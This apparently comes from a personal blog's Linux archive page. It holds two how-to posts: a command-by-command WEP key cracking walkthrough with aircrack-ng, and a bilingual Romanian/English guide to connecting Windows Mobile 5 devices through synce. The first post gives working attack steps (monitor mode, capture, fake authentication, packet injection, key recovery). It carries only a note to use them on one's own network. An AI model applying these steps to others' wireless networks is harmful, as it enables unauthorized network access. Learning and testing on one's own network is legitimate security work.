Archive for the 'linux' Category

english, free software, how-to, linux

Aircrack WEP cracking how-to

Disclaimer: Notice that you are only allowed to crack your personal network, please don’t use this information for other purposes.

If you are using a Broadcom 43xx based wireless card, Dell 1390, for example, install the module compiled by me (that’s for the 2.6.20-15-generic kernel, for the 2.6.20-16-generic one compile it yourself or wait until I’ll provide one get it here) . If you are using another wireless network card, search for instructions about patching your driver here.

Now that we have to proper driver, let’s install aircrack-ng 0.9. You may use another version, but this one includes the PTW attack, witch is faster and requires less packages. You’ll need to install some dev packages (actually, I think sudo apt-get install build-essential should do).

cd ~
wget http://download.aircrack-ng.org/aircrack-ng-0.9.tar.gz
tar -xzf ./aircrack-ng-0.9.tar.gz
cd aircrack-ng-0.9
make
sudo make install

If you got no error, aircrack-ng is installed. Now we activate the monitoring mode by running sudo airmon-ng start eth1.

Then you start airodump-ng by running sudo airodump-ng eth1 so that you can note the channel, the ESSID and the BSSID. ifconfig eth1 and note you MAC address.

Now we create a folder where to save the *.cap files and start airodump-ng.

mkdir ./dumps
cd ./dumps
airodump-ng -c channel - -bssid BSSID -w dump eth1

Now we do fake authentification (run the following command in another terminal, because we don’t want to stop airodump).

aireplay-ng -1 0 -e ESSID -a BSSID -h YOUR_MAC eth1

Next we start packet injection (in the same terminal as the fake authentification).

aireplay-ng -3 -b BSSID -h YOUR_MAC eth1

Now wait until you have something like 50.000 IVS (displayed in the #Data column). Then stop airodump-ng (CTRL+C). Run aircrack-ng -z dump*.cap. If it finds the key in a few seconds, we are done. If not, stop aircrack-ng (CTRL+C) and start airodump-ng again using the same command.

english, how-to, linux, mobile devices

Windows Mobile 5 and Linux

Inca un post partial in engleza, tot pentru ca in target probabil nu sunt multi romani.

Romana

Descarcarea surselor synce cu suport Windows Mobile 5:

cd /usr/src
svn co https://svn.sourceforge.net/svnroot/synce/branches/libsynce/WM5/libsynce
svn co https://svn.sourceforge.net/svnroot/synce/branches/librapi2/WM5/librapi2
svn co https://svn.sourceforge.net/svnroot/synce/trunk/vdccm

Compilarea:

1) libsynce

cd libsynce/
./bootstrap
./configure
make
make install
cd ..

2) librapi2

cd librapi2/
./bootstrap
./configure
make
make install
cd ..

3) vdccm

cd vdccm/
make -f Makefile.cvs
./configure
make
make install
cd ..

In timp ce am compilat aceste programe am primit mai multe erori si a fost necesara editarea fisierelor sursa. Daca patiti la fel si nu va descurcati, contactati-ma pe email sau postati un comment aici.

Conectarea PDA-ului/telefonului prin USB:

1) Compilarea driverului usb-rndis

cd /usr/src
svn co https://svn.sourceforge.net/svnroot/synce/trunk/oleavr-files/usb-rndis
cd usb-rndis/
make
./clean.sh
make install

2) Gasirea interfete folosite de usb-rndis

dmesg | grep “eth[0-9″>: register” | grep “rndis_host” | tail -1

Daca totul a mers bine, veti vedea o linie de genul

eth1: register ‘rndis_host’ at usb-0000:00:02.0-2, RNDIS device, 80:00:60:0f:e8:00

3) Asignarea adresei ip

ifconfig eth1 169.254.2.2 netmask 255.255.255.0 up

Daca e cazul, inlocuiti eth1 cu interfata obtinuta prin rularea comenzii de mai sus.

4) Realizarea conexiunii

Aceste comenzi vor trebui rulate de user-ul pe care il folositi in mod normal.

vdccm -s 40
triggerconnection 169.254.2.1

5) Testarea conexiunii

pls /

Daca primiti o lista cu directoarele de pe dispozitivul mobil, totul a mers bine.

Accesul la file system-ul dispozitivului se realizeaza cel mai usor folosind un plugin pentru nautilus:

svn co https://svn.sourceforge.net/svnroot/synce/trunk/gnomevfs
cd gnomevfs/
./bootstrap
./configure
make
make install

In /etc/gnome-vfs-2.0/modules/default-modules.conf se adauga linia: synce: libsyncevfs.

Restartati sistemul.
Autentificati-va.
Conectati dispozitivul mobil.
Rulati din nou comenzile pentru asignarea adresei ip si realizarea conexiunii.
Rulati comanda nautilus synce:///.

Felicitari, ar trebui sa aveti acces la file system-ul dispozitivului.

English

Downloading synce with Windows Mobile 5 support:

cd /usr/src
svn co https://svn.sourceforge.net/svnroot/synce/branches/libsynce/WM5/libsynce
svn co https://svn.sourceforge.net/svnroot/synce/branches/librapi2/WM5/librapi2
svn co https://svn.sourceforge.net/svnroot/synce/trunk/vdccm

Compiling:

1) libsynce

cd libsynce/
./bootstrap
./configure
make
make install
cd ..

2) librapi2

cd librapi2/
./bootstrap
./configure
make
make install
cd ..

3) vdccm

cd vdccm/
make -f Makefile.cvs
./configure
make
make install
cd ..

During the compiling of this programs, there may be some errors. If this happens, you need to edit some source files. If you don’t know how, post a comment here or send me an email.

Connecting you device using an USB cable:

1) Compiling the usb-rndis driver

cd /usr/src
svn co https://svn.sourceforge.net/svnroot/synce/trunk/oleavr-files/usb-rndis
cd usb-rndis/
make
./clean.sh
make install

2) Finding the interface used by usb-rndis

dmesg | grep “eth[0-9″>: register” | grep “rndis_host” | tail -1

If everything went well, you will see a line like

eth1: register ‘rndis_host’ at usb-0000:00:02.0-2, RNDIS device, 80:00:60:0f:e8:00

3) Asigning the ip adress

ifconfig eth1 169.254.2.2 netmask 255.255.255.0 up

4) Connecting

This commands must be run by your normal user.

vdccm -s 40
triggerconnection 169.254.2.1

5) Testing the connection

pls /

If the command above returns a list with the folders from your PDA, everything is ok.

The most simple method to access your mobile device is to use a nautilus plugin.

svn co https://svn.sourceforge.net/svnroot/synce/trunk/gnomevfs
cd gnomevfs/
./bootstrap
./configure
make
make install

Add a line containing synce: libsyncevfs to /etc/gnome-vfs-2.0/modules/default-modules.conf .

Restart you computer.
Log in.
Connect you mobile device.
Run the commands for assigning the ip adress and connecting.
Run the command nautilus synce:///.

Now you should have acces to the filesystem of you mobile device.